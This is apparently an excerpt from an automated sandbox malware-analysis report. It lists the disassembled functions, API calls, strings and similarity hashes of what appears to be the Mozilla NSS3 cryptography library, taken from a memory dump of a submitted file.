Part of subcall function 6C60BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C60BBFB
Part of subcall function 6C60BB80: GetLastError.KERNEL32 ref: 6C60BC03
Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C60BC19
Part of subcall function 6C60BB80: free.MOZGLUE(00000000), ref: 6C60BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C731193), ref: 6C731CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C731193), ref: 6C731CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C731193), ref: 6C731CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C731193), ref: 6C731D1A

Part of subcall function 6C6E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C611A48), ref: 6C6E9BB3
Part of subcall function 6C6E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C611A48), ref: 6C6E9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C731193), ref: 6C731D3D

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C731193), ref: 6C731D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C731193), ref: 6C731D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C731193), ref: 6C731D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C731193), ref: 6C731D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C731193), ref: 6C731D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C731193), ref: 6C731D93
PR_DestroyLock.NSS3(00000000,?,?,6C731193), ref: 6C731D9F
free.MOZGLUE(00000000,?,6C731193), ref: 6C731DA8

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 4b4c41f79fdc35ea9c463228b99d45a4331ac3c356387a8ffe44f29923552af4
Instruction ID: 9608400c30f723e5c89203e4ec74ca6041a37412981253de04c5b368e7068a8c
Opcode Fuzzy Hash: 4b4c41f79fdc35ea9c463228b99d45a4331ac3c356387a8ffe44f29923552af4
Instruction Fuzzy Hash: D231C6F1E107115BEB119F24AD01AA777E4AF0760DB044439E94A87F42FB71E418CBAA

Function 6C690C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,il), ref: 6C690C81

Part of subcall function 6C67BE30: SECOID_FindOID_Util.NSS3(6C63311B,00000000,?,6C63311B,?), ref: 6C67BE44

Part of subcall function 6C668500: SECOID_GetAlgorithmTag_Util.NSS3(6C6695DC,00000000,00000000,00000000,?,6C6695DC,00000000,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C668517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C690CC4

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C690CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C690D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C690D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C690D7D
free.MOZGLUE(00000000), ref: 6C690DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C690DC1
free.MOZGLUE(00000000), ref: 6C690DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C690E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C690E0F

Part of subcall function 6C6695C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C6695E0
Part of subcall function 6C6695C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C6695F5
Part of subcall function 6C6695C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C669609
Part of subcall function 6C6695C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C66961D
Part of subcall function 6C6695C0: PK11_GetInternalSlot.NSS3 ref: 6C66970B
Part of subcall function 6C6695C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C669756
Part of subcall function 6C6695C0: PK11_GetIVLength.NSS3(?), ref: 6C669767
Part of subcall function 6C6695C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C66977E
Part of subcall function 6C6695C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C66978E

Strings

-$il, xrefs: 6C690C64
*,il, xrefs: 6C690DCC
*,il, xrefs: 6C690C69, 6C690DE0, 6C690C80, 6C690C8B, 6C690CAF

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,il$*,il$-$il
API String ID: 3136566230-1071090931
Opcode ID: c14430cd31def093a12c73cf20f2c8be9c9fadbb1a254c46b9c2e32375eeb0a2
Instruction ID: e7505ba3423967a94c93fd52005074b2c70bca11c7843a346610e643b524906a
Opcode Fuzzy Hash: c14430cd31def093a12c73cf20f2c8be9c9fadbb1a254c46b9c2e32375eeb0a2
Instruction Fuzzy Hash: A041E1B190120AABEF009F64DC41BEF76B4AF0930CF104428E91557B51E735AA18CBFA

Function 6C656AF0 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 101COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptFinal), ref: 6C656B16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C656B44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C656B53

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C656B69
PR_LogPrint.NSS3( pLastPart = 0x%p,?), ref: 6C656B85
PR_LogPrint.NSS3( pulLastPartLen = 0x%p,?), ref: 6C656BA0
PR_LogPrint.NSS3( *pulLastPartLen = 0x%x,?), ref: 6C656C0A

Strings

*pulLastPartLen = 0x%x, xrefs: 6C656C05
pulLastPartLen = 0x%p, xrefs: 6C656B9B
C_DecryptFinal, xrefs: 6C656B11
pLastPart = 0x%p, xrefs: 6C656B80
(CK_INVALID_HANDLE), xrefs: 6C656B4C
nsl, xrefs: 6C656BB8, 6C656BE6
hSession = 0x%x, xrefs: 6C656B2E, 6C656B3E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulLastPartLen = 0x%x$ hSession = 0x%x$ pLastPart = 0x%p$ pulLastPartLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptFinal$nsl
API String ID: 1003633598-3041355977
Opcode ID: 5a97117af12c00d1018038a6ad77f87b12dc7d6490b66460d2dd894ab072c296
Instruction ID: 760c18a227cb8092fd612574c7a1c8305dec6549d27c7ebd54889f8cdb1d4b41
Opcode Fuzzy Hash: 5a97117af12c00d1018038a6ad77f87b12dc7d6490b66460d2dd894ab072c296
Instruction Fuzzy Hash: 4B31C531A02154AFDB009B54DE8CF9E37B5AB4330AFA44074E508D7B12DB30D968C75A

Function 6C686CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C751DE0,?), ref: 6C686CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C686D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C686D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C686D82
DER_GetInteger_Util.NSS3(?), ref: 6C686DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C686DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C686E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C686F19
PK11_DigestBegin.NSS3(00000000), ref: 6C686F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C686F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C687011
PK11_FreeSymKey.NSS3(00000000), ref: 6C687033
free.MOZGLUE(?), ref: 6C68703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C687060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C687087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6870AF

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 96f98476d5492631d9f12b440076a15edb5f0a55b00dbf70a075a06682912325
Instruction ID: ea59b9599ab6afc75b344be22afe24717e899c52dcf4b90beb73137d1532085b
Opcode Fuzzy Hash: 96f98476d5492631d9f12b440076a15edb5f0a55b00dbf70a075a06682912325
Instruction Fuzzy Hash: 3AA109B192A2009BEB108F24DC45B9B72A5DB8130CF248939F919DBB81E775D849C77F

Function 6C64AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF39
PR_Unlock.NSS3(?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF69
TlsGetValue.KERNEL32 ref: 6C64B06B
EnterCriticalSection.KERNEL32(?), ref: 6C64B083
PR_Unlock.NSS3(?), ref: 6C64B0A4
TlsGetValue.KERNEL32 ref: 6C64B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C64B0D9
PR_Unlock.NSS3 ref: 6C64B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64B182

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C64B177

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64B1C2

Part of subcall function 6C671560: TlsGetValue.KERNEL32(00000000,?,6C640844,?), ref: 6C67157A
Part of subcall function 6C671560: EnterCriticalSection.KERNEL32(?,?,?,6C640844,?), ref: 6C67158F
Part of subcall function 6C671560: PR_Unlock.NSS3(?,?,?,?,6C640844,?), ref: 6C6715B2

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: e799343156d4b10680e1b6f1cd45374a375df01cce5288485b364b521631fd4a
Instruction ID: db436d13ac21138d38988e42ffdeb74c3fdf386158d1a3ff69949971256dfde0
Opcode Fuzzy Hash: e799343156d4b10680e1b6f1cd45374a375df01cce5288485b364b521631fd4a
Instruction Fuzzy Hash: 29A1D1B1E00205EBEF019F64DC41AEE77B4EF4A309F148035E909A7712E731E959CBA9

Function 6C642C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?dl,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C62
EnterCriticalSection.KERNEL32(0000001C,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C76
PL_HashTableLookup.NSS3(00000000,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C93

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23), ref: 6C642CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?), ref: 6C642CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?), ref: 6C642D4D
EnterCriticalSection.KERNEL32(?), ref: 6C642D61
PL_HashTableLookup.NSS3(?,?), ref: 6C642D71
PR_Unlock.NSS3(?), ref: 6C642D7E

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Strings

#?dl, xrefs: 6C642C43

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?dl
API String ID: 2446853827-4183948977
Opcode ID: 96028d91d0dbf7a6255069715693b6281b11372be9adf9a8c760416a1ad23697
Instruction ID: 1476a42aebf487dbfd45da662114047c5f650adf7e9545efac009f568f554e8f
Opcode Fuzzy Hash: 96028d91d0dbf7a6255069715693b6281b11372be9adf9a8c760416a1ad23697
Instruction Fuzzy Hash: 7E5103B6D00214ABDB019F24DC449AAB7B8FF0A349B14C570ED18D7B11EB31E964CBE9

Function 6C69AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69ADB1

Part of subcall function 6C67BE30: SECOID_FindOID_Util.NSS3(6C63311B,00000000,?,6C63311B,?), ref: 6C67BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C69ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C69AE08

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C69AE25
PL_FreeArenaPool.NSS3 ref: 6C69AE63
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C69AE4D

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69AE93
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C69AECC
PL_FreeArenaPool.NSS3 ref: 6C69AEDE
PL_FinishArenaPool.NSS3 ref: 6C69AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69AEF5
PL_FinishArenaPool.NSS3 ref: 6C69AF16

Strings

security, xrefs: 6C69ADEE

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: c34e4f54c95a379de8dbdf984c56f4433f06da5183030f1b864d6e52dfbf823f
Instruction ID: 1a5c81b02071cf1d5ac1bab5a500f98333ee4a25f86a97a66cf371ae2b649e58
Opcode Fuzzy Hash: c34e4f54c95a379de8dbdf984c56f4433f06da5183030f1b864d6e52dfbf823f
Instruction Fuzzy Hash: 714128B1C05311A7EB214A259C44BBF32E4AF4231CF200525E91592B43FB39DA0AC6EF

Function 6C73AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E9890: TlsGetValue.KERNEL32(?,?,?,6C6E97EB), ref: 6C6E989E

EnterCriticalSection.KERNEL32(?), ref: 6C73AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C73AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C73AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C73AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C73B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C73B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C73B070
PR_JoinThread.NSS3(?), ref: 6C73B07B
free.MOZGLUE(?), ref: 6C73B084
EnterCriticalSection.KERNEL32(?), ref: 6C73B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C73B0C4
PR_JoinThread.NSS3(?), ref: 6C73B0F3
free.MOZGLUE(?), ref: 6C73B0FC
PR_JoinThread.NSS3(?), ref: 6C73B137
free.MOZGLUE(?), ref: 6C73B140

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 425b32894f432776b37063f0e4958161acd19f38e120eb553e331e49c04ffa65
Instruction ID: 264ef25e6b1655ae0746985c03d917b1b5bad556ee434edc104dc35ee355ba55
Opcode Fuzzy Hash: 425b32894f432776b37063f0e4958161acd19f38e120eb553e331e49c04ffa65
Instruction Fuzzy Hash: 47918CB6901A11CFCB00DF14C98489ABBF1FF4935872985A9D81D5BB22E732FC46CB94

Function 6C642980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C629E71,?,?,6C63F03D), ref: 6C6429A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C629E71,?), ref: 6C6429B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C629E71,?,?,6C63F03D), ref: 6C6429E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C629E71,?), ref: 6C6429F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C629E71,?), ref: 6C642A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C629E71), ref: 6C642A13

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_Unlock.NSS3(?), ref: 6C642A6A
TlsGetValue.KERNEL32 ref: 6C642A98
EnterCriticalSection.KERNEL32(?), ref: 6C642AAC
PL_HashTableLookup.NSS3(?,?), ref: 6C642ABC
PR_Unlock.NSS3(?), ref: 6C642AC9
TlsGetValue.KERNEL32 ref: 6C642B3D
EnterCriticalSection.KERNEL32(?), ref: 6C642B51
PL_HashTableLookup.NSS3(?,6C629E71), ref: 6C642B61
PR_Unlock.NSS3(?), ref: 6C642B6E

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: 426b109306e3caead4fb05ce5699401b65efd8e6e1f4c901e975d8e27b40cab9
